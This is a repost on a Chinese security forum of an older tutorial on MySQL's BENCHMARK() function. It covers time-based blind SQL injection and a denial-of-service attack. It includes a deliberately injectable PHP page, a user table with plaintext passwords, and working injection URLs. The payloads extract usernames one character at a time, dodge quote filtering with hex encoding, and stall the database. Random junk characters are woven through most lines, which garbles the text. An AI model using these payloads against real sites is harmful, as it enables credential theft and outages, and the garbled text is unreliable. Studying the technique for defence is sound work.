找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2046|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 8 [% O) ]& H+ ~) w% u& T4 w0 ?
本文作者:SuperHei( O) j$ o6 J$ Y# o
文章性质:原创
7 J4 \: F- F9 E发布日期:2005-01-02
  o3 C0 ~- r1 L3 ~- V1 ~+ t5 a完成日期:2004-07-09
5 t0 Q) `' w& s/ S) q" ]第一部
$ p- t: l( H5 |0 i* F6 J; D
3 N; B4 Q: w! J1 @! w, F利用时间推延进行注射---BENCHMARK函数在注射中的利用
9 s5 y, x7 f0 m2 s  y; U
% W5 J' L0 L9 s1 H# _一.前言/思路' s( U, k9 j8 |

" ~. K/ h# ]* Q# _7 M2 D% b8 U  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。" I$ v4 I$ D: u2 V: F% e

$ z' r! Q% g" W8 z7 v  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。: v* f2 i% Y' e* l
8 A( K2 T3 e6 P
二.关于BENCHMARK函数
$ U0 p7 a3 Q4 k( M5 E; g+ }) u* O6 D6 A% Y7 x4 J+ C
  在MySQL参考手册里可以看到如下描叙: ' j# Z- r' s' _  I

3 ]9 U( |/ r3 h# n! j  {& B
; Y4 A3 n! [5 l3 c5 _" s& C2 s--------------------------------------------------------------------------------
/ y  K0 F$ }4 R' p: U. G4 z( N) i6 a
! Q. C. Z0 q, {. b' J6 G% F4 w% ]BENCHMARK(count,expr)
3 d: f2 p7 ^2 c' EBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 : w( @  h" ]3 g
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
6 n& ~8 m5 B, ^( u+----------------------------------------------+
1 b  [7 t/ `1 W7 b# U| BENCHMARK(1000000,encode("hello","goodbye")) | 3 @+ A$ q) h* w( S4 c. p5 H
+----------------------------------------------+ 8 r1 |; @$ X" v0 b& H7 \& g; ?
| 0 |
; `; `0 [  X3 M' y; d. d+----------------------------------------------+   e3 o3 g6 T1 p. T5 O4 A2 O
1 row in set (4.74 sec)
8 Y7 Z, j' \% Q$ @% f; U6 T* P4 L) q) Y1 O, l6 B& b5 S$ U
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。0 O6 A0 `0 J6 s/ ?) p' q
: L+ ?3 C* a. o* f( o

2 x. d  o' ~0 _--------------------------------------------------------------------------------2 `9 A- G8 Q" E5 G; n1 p. e

3 B( A+ [$ E) f  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
' ^# d0 I# J  f4 \
4 p0 ^9 |, @# xmysql> select md5( 'test' );
( N+ A0 Q. T! Y7 T( D+ f+----------------------------------+ , F5 }# V, Y( Z' {7 m
| md5( 'test' ) |
+ c5 R# e% [, n! f9 J9 q) y+----------------------------------+ " d; g5 i! G* g: _
| 098f6bcd4621d373cade4e832627b4f6 | 1 s1 x. A1 x2 @4 n2 _8 {& A
+----------------------------------+
. j" F2 ^  A; |$ s& v/ L) X1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 7 T3 a8 f; _/ S# y, U# y, S

/ A( T1 X9 l3 ~' gmysql> select benchmark( 500000, md5( 'test' ) ); ! C4 ~, m0 |" n& ]# g: S
+------------------------------------+ , z0 P; H' m3 q8 Q
| benchmark( 500000, md5( 'test' ) ) | , Z+ o8 |2 ^9 `+ P7 e& Z! g
+------------------------------------+ ; v! K4 N" @1 J5 P
| 0 |
( U' {  D4 a% [$ d+------------------------------------+
; ^$ b; o* v/ |- e* J* ]  n1 row in set (6.55 sec) 〈------------执行时间为6.55 sec/ l8 @1 c% s* S% H+ A- Z! k% X

8 N4 o6 t$ z8 p" [+ a
! p+ b3 ?9 z! {9 m0 I9 k+ G  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
: d; H# \6 t2 C4 `  n, `! Y3 T, z! b& ~& S* N
三.具体例子
. v& f: Z+ l9 U4 f) e
) _/ S" Y7 a& G" h$ w) B  首先我们看个简单的php代码:  ?' N7 |8 L2 t

1 F1 f1 `3 c9 z- `< ?php ' m4 g- f- @0 G7 F* U
$servername = "localhost";
- F5 k2 Y3 q5 G! z6 i( C( ^$dbusername = "root"; : K2 ^: ~& @' x1 U+ s4 w1 Z
$dbpassword = "";
/ K1 c. q% Q8 C2 ]$dbname = "injection"; ' H. U3 y! N# g6 i, m* j

/ K0 V: T7 M) y! I' Wmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); # Q5 Y" w+ o7 o: w* n) Q& l  ~
# H: A" ]4 b( ^; [; F( c
$sql = "SELECT * FROM article WHERE articleid=$id"; ' l& L% p# g: q9 E3 ^0 N
$result = mysql_db_query($dbname,$sql); 3 {+ \" J$ V& N' l& u- P! y8 Y
$row = mysql_fetch_array($result); ( u& j( {. X; Z0 d" Y# Z

7 R5 a% {) P. P  q' |& k+ j: Qif (!$row)
& e, }* L9 }3 [6 Q{
. h5 U+ t, E% H. v1 F+ jexit;
  G7 V. C8 U" A" D: T}
& ]# `) M$ }+ z4 S?>) w  A; C# {, L0 g+ h
0 O' ^. d+ W, N' s) f, W

: s1 J* D# ^+ b8 M$ {  数据库injection结构和内容如下:6 A; ]6 T# |4 g& m- Y' Y' }5 ]/ q9 e

! I4 }2 J7 F, G& R" e1 b. Y# 数据库 : `injection`
9 X6 x8 @* T( P/ s  Z#
# m/ x* U# C! s# k
' L, s6 s& Q8 v' T0 u5 Z# --------------------------------------------------------
; T# K7 K; Q6 m- n) c; G5 s# V
- n/ m' g/ ~; w3 C#
3 Z% o3 @* f1 c# 表的结构 `article` 3 E, s# Z8 U! j  o1 d2 R2 e
#
5 n* K5 {1 V0 E: _- @
2 G) R1 t7 \8 I) @, NCREATE TABLE `article` ( 0 i& S" u6 y, |
`articleid` int(11) NOT NULL auto_increment,   _$ F3 ]7 a6 G3 ]& p
`title` varchar(100) NOT NULL default '', 1 ?" a5 `+ O& y5 w
`content` text NOT NULL, 9 W* P& A3 d& r
PRIMARY KEY (`articleid`) 1 Q* F3 G' V+ H& {+ B# @
) TYPE=MyISAM AUTO_INCREMENT=3 ; : a% n5 z4 }! \5 m$ x- |! ]

: B1 q1 L& V+ S/ j! J8 H# ; K5 x% p. i2 q/ T# }5 ^2 ~
# 导出表中的数据 `article`
; w+ [5 ]) R; s4 y, S& v# " S7 _( I3 v3 h& d! [2 X0 {; O* Y, l
0 w7 X0 x; r7 i  c% B. s8 Z% n
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); ! Q$ A% ]9 w' N' R" z' D  Y( w
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
! ^' u* S) m8 f9 }; `; \- \- v7 F1 b
1 q0 @2 j4 L4 k+ U1 c# [% c0 L7 F) }# --------------------------------------------------------
4 m+ f$ r7 Z% g  t- r7 U
+ ?9 p7 {- N2 ]4 o0 C# 3 j- ?8 P, A6 B: z
# 表的结构 `user`
5 k* n8 ]! F: {8 ]; o( O#
+ ~: x" x* R) p" o; K; b& l) w- f* ?% M1 O( n, V
CREATE TABLE `user` (
6 R$ p5 t* @- e- x* f`userid` int(11) NOT NULL auto_increment, $ J! P+ b9 d# H
`username` varchar(20) NOT NULL default '',
8 {; h! J9 |& ?`password` varchar(20) NOT NULL default '', + i% |' f0 G4 y' C& M
PRIMARY KEY (`userid`) 3 m% |. N% C/ M" e; s+ j
) TYPE=MyISAM AUTO_INCREMENT=3 ;
5 W1 Y" B* ^# s6 n$ y3 W) M  C2 k# @; [8 r
#
6 o; y7 L! T7 m! j# 导出表中的数据 `user` 3 Y" t1 q9 I8 |
# & @5 |  Q" r6 c3 s

/ z  L( u2 {+ P$ Z" c* a% Z% z5 ~! qINSERT INTO `user` VALUES (1, 'angel', 'mypass'); # T' B* j% f# k- {, c' R% z3 S
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
0 M4 R4 P: j3 g. Z4 ]; {
  ]) p' c% X5 c* u) _  Y0 R( b
: K5 v* x/ _! h( a1 k' d8 q- e  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:: b& e+ u- _- e4 F* B3 l# l! z
1 ?5 P  V- x7 i* p6 v9 L7 \
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*- ]) h6 f* \/ A" a# D
. {% ?; V% r; G7 F3 e
& b" K) I0 L1 j
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
5 O5 b9 N3 D7 {$ _  p, R" H/ u$ b
0 P) a( L( \9 M1 O& T# [http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*4 q- i- d1 C! w
' ^, x4 s6 w9 D& H! R8 K; I
# y4 ~" d% ]% z1 ^% ^# Z$ T9 b
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 9 b4 {5 b* v. C. y8 F; s

& }! `; J, P" z! g' o9 ~  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 9 k0 [' Q9 X2 G; J% q

6 c$ Y/ X9 Z$ d" U: w( @$ ^第二部
  T8 r. ~: Y1 B
; J2 Z# T+ D' O$ U1 ~利用BENCHMARK函数进行ddos攻击 ! l+ K1 i1 f* E1 o  ?& L4 e
' H; n3 o+ Z. p' Z
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
( S" @6 K7 X8 m0 [2 Z' T) Z& u: V9 e1 X/ u
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))( L. P4 a, o& K+ S$ Q

9 D/ d  |" ^0 z
0 ~+ k- M, S, m: M1 L小结
( |: w, C, P0 R
* m. x# b# f/ |  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
: J8 e! q; L1 @
( }7 Z: r9 y, w5 L8 q9 v* B2 I% \  
' M4 l9 R& {& e2 _+ U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表